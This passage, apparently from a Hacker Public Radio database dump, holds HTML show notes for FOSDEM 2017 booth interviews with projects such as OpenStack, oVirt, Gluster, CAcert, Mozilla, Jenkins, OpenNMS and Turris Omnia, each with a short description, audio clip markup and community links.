src=\"https://hackerpublicradio.org/eps/hpr2223.mp3#t=4308.000000,4620.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/OpenStack\">https://en.wikipedia.org/wiki/OpenStack</a></li>\r\n<li>IRC: <a href=\"https://webchat.freenode.net/?channels=openstack%2C%23openstack&uio=d4\">https://webchat.freenode.net/?channels=openstack%2C%23openstack&uio=d4</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/company/openstack\">https://www.linkedin.com/company/openstack</a></li>\r\n<li>Mailinglist: <a href=\"https://www.openstack.org/community/\">https://www.openstack.org/community/</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/OpenStack\">https://twitter.com/OpenStack</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/openstack\">https://www.facebook.com/openstack</a></li>\r\n<li>YouTube: <a href=\"https://www.youtube.com/user/OpenStackFoundation\">https://www.youtube.com/user/OpenStackFoundation</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1C.7a\" ><img alt=\"oVirt\" src=\"https://hackerpublicradio.org/eps/hpr2223_K1C.7a.jpg\"/></h2>\r\n<p><a href=\"https://www.ovirt.org/\">https://www.ovirt.org/</a></p>\r\n<blockquote>\r\noVirt is a virtualization management application used to manage hardware nodes, storage, and network resources, as well as deploying and monitoring virtual machines running in your data center.\r\n</blockquote>\r\n<h3>Listen to the interview with Yaniv Kaul</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.ogg#t=4629.000000,5030.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.mp3#t=4629.000000,5030.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://www.ovirt.org/develop/\">https://www.ovirt.org/develop/</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/OVirt\">https://en.wikipedia.org/wiki/OVirt</a></li>\r\n<li>IRC: <a href=\"irc://irc.oftc.net/ovirt\">irc://irc.oftc.net/ovirt</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/u/0/communities/109346090491400112913\">https://plus.google.com/u/0/communities/109346090491400112913</a></li>\r\n<li>Mailinglist: <a href=\"https://www.ovirt.org/community/about/mailing-lists/\">https://www.ovirt.org/community/about/mailing-lists/</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/ovirt\">https://twitter.com/ovirt</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/groups/ovirt.openvirtualization/\">https://www.facebook.com/groups/ovirt.openvirtualization/</a></li>\r\n<li>YouTube: <a href=\"https://www.youtube.com/user/ovirtproject\">https://www.youtube.com/user/ovirtproject</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1C.7b\" ><img alt=\"Foreman\" src=\"https://hackerpublicradio.org/eps/hpr2223_K1C.7b.jpg\"/></h2>\r\n<p><a href=\"https://www.theforeman.org/\">https://www.theforeman.org/</a></p>\r\n<blockquote>\r\nForeman is a complete lifecycle management tool for physical and virtual servers. We give system administrators the power to easily automate repetitive tasks, quickly deploy applications, and proactively manage servers, on-premise or in the cloud.\r\n</blockquote>\r\n<h3>Listen to the interview with Greg Sutcliffe</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.ogg#t=5039.000000,5453.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.mp3#t=5039.000000,5453.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://github.com/theforeman/theforeman.org\">https://github.com/theforeman/theforeman.org</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Foreman_(software)\">https://en.wikipedia.org/wiki/Foreman_(software)</a></li>\r\n<li>IRC: <a href=\"https://www.theforeman.org/support.html#IRC\">https://www.theforeman.org/support.html#IRC</a></li>\r\n<li>Google+: <a href=\"https://www.youtube.com/channel/UCCo7AZ1oG6TbG0-dwjRqCmw\">https://www.youtube.com/channel/UCCo7AZ1oG6TbG0-dwjRqCmw</a></li>\r\n<li>Mailinglist: <a href=\"https://www.theforeman.org/support.html#Mailinglists\">https://www.theforeman.org/support.html#Mailinglists</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1C.8\" ><img alt=\"Gluster\" src=\"https://hackerpublicradio.org/eps/hpr2223_K1C.8.jpg\"/></h2>\r\n<p><a href=\"https://www.gluster.org/\">https://www.gluster.org/</a></p>\r\n<blockquote>\r\nGlusterFS is a scalable network filesystem. Using common off-the-shelf hardware, you can create large, distributed storage solutions for media streaming, data analysis, and other data- and bandwidth-intensive tasks. GlusterFS is free and open source software.\r\n</blockquote>\r\n<h3>Listen to the interview with Mohamed Ashiq Liyazudeen / Kaushal M / Jiffin Tony Thottan</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.ogg#t=5462.000000,6045.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.mp3#t=5462.000000,6045.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://github.com/gluster\">https://github.com/gluster</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/GlusterFS\">https://en.wikipedia.org/wiki/GlusterFS</a></li>\r\n<li>IRC: <a href=\"https://webchat.freenode.net/?channels=gluster\">https://webchat.freenode.net/?channels=gluster</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/communities/110022816028412595292\">https://plus.google.com/communities/110022816028412595292</a></li>\r\n<li>Mailinglist: <a href=\"https://www.gluster.org/mailman/listinfo/gluster-users\">https://www.gluster.org/mailman/listinfo/gluster-users</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/gluster\">https://twitter.com/gluster</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/GlusterInc\">https://www.facebook.com/GlusterInc</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1C.9\" ><img alt=\"ownCloud\" src=\"https://hackerpublicradio.org/eps/hpr2223_K1C.9.jpg\"/></h2>\r\n<p><a href=\"https://owncloud.org/\">https://owncloud.org/</a></p>\r\n<blockquote>\r\nA safe home for all your data. Access & share your files, calendars, contacts, mail & more from any device, on your terms\r\n</blockquote>\r\n<h3>Listen to the interview with Holger Dyroff</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.ogg#t=6054.000000,6266.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.mp3#t=6054.000000,6266.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/OwnCloud\">https://en.wikipedia.org/wiki/OwnCloud</a></li>\r\n<li>IRC: <a href=\"https://webchat.freenode.net/?channels=owncloud\">https://webchat.freenode.net/?channels=owncloud</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/107072838776436530705/about\">https://plus.google.com/107072838776436530705/about</a></li>\r\n<li>Mailinglist: <a href=\"https://mailman.owncloud.org/mailman/listinfo/\">https://mailman.owncloud.org/mailman/listinfo/</a></li>\r\n<li>RSS: <a href=\"https://owncloud.org/blogfeed\">https://owncloud.org/blogfeed</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/ownClouders\">https://twitter.com/ownClouders</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/ownClouders\">https://www.facebook.com/ownClouders</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1C.10a\" ><img alt=\"CAcert\" src=\"https://hackerpublicradio.org/eps/hpr2223_K1C.10a.jpg\"/></h2>\r\n<p><a href=\"https://www.cacert.org/\">https://www.cacert.org/</a></p>\r\n<blockquote>\r\nCAcert.org is a community-driven Certificate Authority that issues certificates to the public at large for free. CAcert\'s goal is to promote awareness and education on computer security through the use of encryption, specifically by providing cryptographic certificates. These certificates can be used to digitally sign and encrypt email, authenticate and authorize users connecting to websites and secure data transmission over the internet. \r\n</blockquote>\r\n<h3>Listen to the interview with Eva Stöwe</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.ogg#t=6277.000000,6734.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.mp3#t=6277.000000,6734.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/CAcert.org\">https://en.wikipedia.org/wiki/CAcert.org</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/u/0/117081703972254991731/posts\">https://plus.google.com/u/0/117081703972254991731/posts</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/groups/89248/profile\">https://www.linkedin.com/groups/89248/profile</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/CAcert/\">https://www.facebook.com/CAcert/</a></li>\r\n<li>About: <a href=\"https://wiki.cacert.org/FAQ/AboutUs\">https://wiki.cacert.org/FAQ/AboutUs</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1C.10b\" ><img alt=\"secure-u\" src=\"https://hackerpublicradio.org/eps/hpr2223_K1C.10b.jpg\"/></h2>\r\n<p><a href=\"https://www.secure-u.de/\">https://www.secure-u.de/</a></p>\r\n<blockquote>\r\nDer Verein fördert die Wissenschaft, Forschung und Verbraucherberatung. Insbesondere ist Zweck des Vereins die Förderung der Sicherheit im Internet und die Unterstützung von Anwendern bei der Anwendung sicherer Kommunikation.\r\n</blockquote>\r\n<h3>Listen to the interview with Eva Stöwe</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.ogg#t=6743.000000,6812.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2223.mp3#t=6743.000000,6812.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n</ul>\r\n',30,0,1,'CC-BY-SA','FOSDEM 2017, ReactOS, Haiku, Gentoo, CoreOS, Debian, PostgreSQL, Nextcloud, Bazel, Open Build Service/OpenQA, FSFE, Vikings, Tor, Xen, OpenStack, oVirt, Foreman, Gluster, ownCloud, CAcert, secure-u',0,0,1),
(2224,'2017-02-09','FOSDEM 2017 K (level 2 Stands 1 to 9)',4639,'Ken interviews the projects in the K building level 2 at stands 1 to 9','<h1>Table of Contents</h1>\r\n<ul>\r\n<li><a href=\"#K2.1\">Mozilla</a></li>\r\n<li><a href=\"#K2.2\">diaspora</a></li>\r\n<li><a href=\"#K2.3\">Apache Software Foundation</a></li>\r\n<li><a href=\"#K2.4\">OW2</a></li>\r\n<li><a href=\"#K2.5\">Jenkins</a></li>\r\n<li><a href=\"#K2.6a\">Tiki</a></li>\r\n<li><a href=\"#K2.6b\">XWiki</a></li>\r\n<li><a href=\"#K2.6c\">WikiSuite</a></li>\r\n<li><a href=\"#K2.7\">OpenNMS</a></li>\r\n<li><a href=\"#K2.8\">Kolab</a></li>\r\n<li><a href=\"#K2.9\">Turris Omnia</a></li>\r\n</ul>\r\n\r\n\r\n<hr />\r\n<h2 id=\"K2.1\" ><img alt=\"Mozilla\" src=\"https://hackerpublicradio.org/eps/hpr2224_K2.1.jpg\"/></h2>\r\n<p><a href=\"https://www.mozilla.org/en-US/\">https://www.mozilla.org/en-US/</a></p>\r\n<blockquote>\r\nHi. We\'re Mozilla, the proudly non-profit champions of the Internet, helping to keep it healthy, open and accessible to all.\r\n</blockquote>\r\n<h3>Listen to the interview with Ludovic Hirlimann</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2224.ogg#t=74.000000,437.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2224.mp3#t=74.000000,437.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Mozilla\">https://en.wikipedia.org/wiki/Mozilla</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/mozilla\">https://twitter.com/mozilla</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K2.2\" ><img alt=\"diaspora\" src=\"https://hackerpublicradio.org/eps/hpr2224_K2.2.jpg\"/></h2>\r\n<p><a href=\"https://diasporafoundation.org/\">https://diasporafoundation.org/</a></p>\r\n<blockquote>\r\ndiaspora* is a true network, with no central base. There are servers (called \"pods\") all over the world, each containing the data of those users who have chosen to register with it. These pods communicate with each other seamlessly, so that you can register with any pod and communicate freely with your contacts, wherever they are on the network.\r\n</blockquote>\r\n<h3>Listen to the interview with Lukas Matt</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2224.ogg#t=446.000000,736.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2224.mp3#t=446.000000,736.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://github.com/diaspora/diaspora/\">https://github.com/diaspora/diaspora/</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Diaspora_(social_network)\">https://en.wikipedia.org/wiki/Diaspora_(social_network)</a></li>\r\n<li>IRC: <a href=\"https://webchat.freenode.net/?channels=diaspora\">https://webchat.freenode.net/?channels=diaspora</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K2.3\" ><img alt=\"Apache Software Foundation\" src=\"https://hackerpublicradio.org/eps/hpr2224_K2.3.jpg\"/></h2>\r\n<p><a href=\"https://www.apache.org/\">https://www.apache.org/</a></p>\r\n<blockquote>\r\nThe mission of the Apache Software Foundation (ASF) is to provide software for the public good. We do this by providing services and support for many like-minded software project communities of individuals who choose to join the ASF.\r\n</blockquote>\r\n<h3>Listen to the interview with Mechtilde Stehmaan</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2224.ogg#t=745.000000,1011.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2224.mp3#t=745.000000,1011.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Apache_Software_Foundation\">https://en.wikipedia.org/wiki/Apache_Software_Foundation</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/TheASF\">https://twitter.com/TheASF</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K2.4\" ><img alt=\"OW2\" src=\"https://hackerpublicradio.org/eps/hpr2224_K2.4.jpg\"/></h2>\r\n<p><a href=\"https://www.ow2.org/bin/view/Main/\">https://www.ow2.org/bin/view/Main/</a></p>\r\n<blockquote>\r\nOW2 is an independent, global, open-source software community. The mission of OW2 is to a) promote the development of open-source middleware, generic business applications, cloud computing platforms and b) foster a vibrant community and business ecosystem. OW2 developments follow a flexible, component-based approach. These components range from specific software frameworks, protocols and applications through to integrated, service-oriented platforms.\r\n</blockquote>\r\n<h3>Listen to the interview with Cedric Thomas</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2224.ogg#t=1020.000000,1320.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2224.mp3#t=1020.000000,1320.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/OW2_Consortium\">https://en.wikipedia.org/wiki/OW2_Consortium</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/groups?gid=683257\">https://www.linkedin.com/groups?gid=683257</a></li>\r\n<li>RSS: <a href=\"https://www.ow2.org/bin/view/Main/RssFeeds\">https://www.ow2.org/bin/view/Main/RssFeeds</a></li>\r\n<li>Twitter: <a href=\"https://www.twitter.com/ow2\">https://www.twitter.com/ow2</a></li>\r\n<li>YouTube: <a href=\"https://www.youtube.com/user/channelOW2\">https://www.youtube.com/user/channelOW2</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K2.5\" ><img alt=\"Jenkins\" src=\"https://hackerpublicradio.org/eps/hpr2224_K2.5.jpg\"/></h2>\r\n<p><a href=\"https://jenkins.io/index.html\">https://jenkins.io/index.html</a></p>\r\n<blockquote>\r\nJenkins is an open source automation server which enables developers around the world to reliably build, test, and deploy their software. Jenkins, originally founded in 2006 as \"Hudson\", is one of the leading automation servers available. Using an extensible, plugin-based architecture developers have created hundreds of plugins to adapt Jenkins to a multitude of build, test, and deployment automation workloads.\r\n</blockquote>\r\n<h3>Listen to the interview with Robert Sandell</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2224.ogg#t=1329.000000,1674.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2224.mp3#t=1329.000000,1674.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://github.com/jenkinsci\">https://github.com/jenkinsci</a></li>\r\n<li>Mailinglist: <a href=\"https://groups.google.com/forum/#!forum/jenkinsci-users\">https://groups.google.com/forum/#!forum/jenkinsci-users</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/jenkinsci\">https://twitter.com/jenkinsci</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K2.6a\" ><img alt=\"Tiki\" src=\"https://hackerpublicradio.org/eps/hpr2224_K2.6a.jpg\"/></h2>\r\n<p><a href=\"https://tiki.org/\">https://tiki.org/</a></p>\r\n<blockquote>\r\nTiki Wiki CMS Groupware or simply Tiki, originally known as TikiWiki, is a free and open source Wiki-based content management system and online office suite written primarily in PHP and distributed under the GNU Lesser General Public License (LGPL) license. In addition to enabling websites and portals on the internet and on intranets and extranets, Tiki contains a number of collaboration features allowing it to operate as a Geospatial Content Management System (GeoCMS) and Groupware web application. \r\n</blockquote>\r\n<h3>Listen to the interview with Alexander Mette</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2224.ogg#t=1683.000000,1863.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2224.mp3#t=1683.000000,1863.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://www.openhub.net/p/39\">https://www.openhub.net/p/39</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Tiki_Wiki_CMS_Groupware\">https://en.wikipedia.org/wiki/Tiki_Wiki_CMS_Groupware</a></li>\r\n<li>IRC: <a href=\"https://tiki.org/Connecting+To+IRC\">https://tiki.org/Connecting+To+IRC</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/100068718540627516168/\">https://plus.google.com/100068718540627516168/</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/groups/Tiki-Wiki-CMS-Groupware-118987\">https://www.linkedin.com/groups/Tiki-Wiki-CMS-Groupware-118987</a></li>\r\n<li>Mailinglist: <a href=\"https://tiki.org/Mailing+Lists\">https://tiki.org/Mailing+Lists</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/tikiwiki\">https://twitter.com/tikiwiki</a></li>\r\n<li>FediVerse: <a href=\"https://identi.ca/group/tikiwiki\">https://identi.ca/group/tikiwiki</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/groups/6607687318/\">https://www.facebook.com/groups/6607687318/</a></li>\r\n<li>YouTube: <a href=\"https://www.youtube.com/results?search_query=tikiwiki\">https://www.youtube.com/results?search_query=tikiwiki</a></li>\r\n<li>About: <a href=\"https://tiki.org/Introduction\">https://tiki.org/Introduction</a></li>\r\n<li>Last.fm: <a href=\"https://www.last.fm/group/Tikiwiki\">https://www.last.fm/group/Tikiwiki</a></li>\r\n<li>SlideShare: <a href=\"https://www.slideshare.net/search/slideshow?q=tikiwiki\">https://www.slideshare.net/search/slideshow?q=tikiwiki</a></li>\r\n<li>Ustream: <a href=\"https://www.ustream.tv/channel/tikifests\">https://www.ustream.tv/channel/tikifests</a></li>\r\n<li>Flickr: <a href=\"https://www.flickr.com/search/show/?q=tikiwiki\">https://www.flickr.com/search/show/?q=tikiwiki</a></li>\r\n<li>Delicious: <a href=\"https://delicious.com/search?p=tikiwiki\">https://delicious.com/search?p=tikiwiki</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K2.6b\" ><img alt=\"XWiki\" src=\"https://hackerpublicradio.org/eps/hpr2224_K2.6b.jpg\"/></h2>\r\n<p><a href=\"https://xwiki.org/\">https://xwiki.org/</a></p>\r\n<blockquote>\r\nXWiki Enterprise is a professional wiki with enterprise features such as Blog, strong rights management, LDAP authentication, PDF export, full skining and more. It also includes an advanced Form and scripting engine making it a development environment for data-based applications. It has powerful extensibility features such as scripting in pages, plugins and a highly modular architecture. \r\n</blockquote>\r\n<h3>Listen to the interview with Ludovic Dubost</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2224.ogg#t=1872.000000,2278.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2224.mp3#t=1872.000000,2278.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/XWiki\">https://en.wikipedia.org/wiki/XWiki</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/xwiki\">https://twitter.com/xwiki</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K2.6c\" ><img alt=\"WikiSuite\" src=\"https://hackerpublicradio.org/eps/hpr2224_K2.6c.jpg\"/></h2>\r\n<p><a href=\"https://wikisuite.org/Software\">https://wikisuite.org/Software</a></p>\r\n<blockquote>\r\nWikiSuite is especially suited to knowledge-centric organizations and offers most (80%+) of the data and information management features all organizations need\r\n</blockquote>\r\n<h3>Listen to the interview with Marc Laporte</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2224.ogg#t=2287.000000,2664.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2224.mp3#t=2287.000000,2664.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/groups/8493103\">https://www.linkedin.com/groups/8493103</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/WikiSuite\">https://twitter.com/WikiSuite</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/WikiSuite\">https://www.facebook.com/WikiSuite</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K2.7\" ><img alt=\"OpenNMS\" src=\"https://hackerpublicradio.org/eps/hpr2224_K2.7.jpg\"/></h2>\r\n<p><a href=\"https://www.opennms.org\">https://www.opennms.org</a></p>\r\n<blockquote>\r\nOpenNMS is a free and open-source enterprise grade network monitoring and network management platform. It is developed and supported by a community of user and developers as well as by the The OpenNMS Group, offering commercial services, training and support. The goal is for OpenNMS to be a truly distributed, scalable management application platform for all aspects of the FCAPS network management model while remaining 100% free and open source.\r\n</blockquote>\r\n<h3>Listen to the interview with Tarus Balog</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2224.ogg#t=2673.000000,3628.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2224.mp3#t=2673.000000,3628.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2224_K2.7_OpenNMS.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2224_K2.7_OpenNMS_small.jpg\" alt=\"photo from the booth\"/></a></p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://github.com/OpenNMS\">https://github.com/OpenNMS</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/OpenNMS\">https://en.wikipedia.org/wiki/OpenNMS</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/105624063334939417498\">https://plus.google.com/105624063334939417498</a></li>\r\n<li>RSS: <a href=\"https://www.opennms.org/en/blog.rss\">https://www.opennms.org/en/blog.rss</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/opennms/\">https://twitter.com/opennms/</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/OpenNMS/\">https://www.facebook.com/OpenNMS/</a></li>\r\n<li>YouTube: <a href=\"https://www.youtube.com/user/opennms\">https://www.youtube.com/user/opennms</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K2.8\" ><img alt=\"Kolab\" src=\"https://hackerpublicradio.org/eps/hpr2224_K2.8.jpg\"/></h2>\r\n<p><a href=\"https://kolab.org/\">https://kolab.org/</a></p>\r\n<blockquote>\r\nThe Kolab Groupware Solution offers Personal Information Management for deployments of any size. It runs on a Rasberry Pi and in clouds spread over multiple data centres. Kolab provides a secure, scalable and reliable collaboration server. Since it is Free Software, it is not only used by large companies and organisation, but also by many individuals who care about being in control of their personal information.Kolab is a free and open source groupware suite.\r\n</blockquote>\r\n<h3>Listen to the interview with Christian Mollekopf</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2224.ogg#t=3637.000000,3881.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2224.mp3#t=3637.000000,3881.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://git.kolab.org/\">https://git.kolab.org/</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Kolab\">https://en.wikipedia.org/wiki/Kolab</a></li>\r\n<li>IRC: <a href=\"https://webchat.freenode.net/?channels=kolab\">https://webchat.freenode.net/?channels=kolab</a></li>\r\n<li>Mailinglist: <a href=\"https://lists.kolab.org/mailman/listinfo\">https://lists.kolab.org/mailman/listinfo</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/kolaborg\">https://twitter.com/kolaborg</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K2.9\" ><img alt=\"Turris Omnia\" src=\"https://hackerpublicradio.org/eps/hpr2224_K2.9.jpg\"/></h2>\r\n<p><a href=\"https://omnia.turris.cz/en/\">https://omnia.turris.cz/en/</a></p>\r\n<blockquote>\r\nMore than just a router. The open-source center of your home. Home router is necessary to connect you to the Internet but it is idle most of the time, just eating electricity. Why not use it for more tasks? With powerful hardware, Turris Omnia can handle gigabit traffic and still be able to do much more. You can use it as a home server, NAS, printserver and it even has a virtual server built-in.\r\n</blockquote>\r\n<h3>Listen to the interview with Michal Hrušecký / Václav Zbránek</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2224.ogg#t=3890.000000,4610.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2224.mp3#t=3890.000000,4610.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2224_K2.9_Turris_Omnia_case_back.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2224_K2.9_Turris_Omnia_case_back_small.jpg\" alt=\"photo from the booth\"/></a></p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2224_K2.9_Turris_Omnia_case_front.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2224_K2.9_Turris_Omnia_case_front_small.jpg\" alt=\"photo from the booth\"/></a></p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2224_K2.9_Turris_Omnia_pcb.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2224_K2.9_Turris_Omnia_pcb_small.jpg\" alt=\"photo from the booth\"/></a></p>\r\n\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Turris_Omnia\">https://en.wikipedia.org/wiki/Turris_Omnia</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/114880789978280332635\">https://plus.google.com/114880789978280332635</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/turris_cz\">https://twitter.com/turris_cz</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/CZ.NIC/\">https://www.facebook.com/CZ.NIC/</a></li>\r\n</ul>\r\n<hr 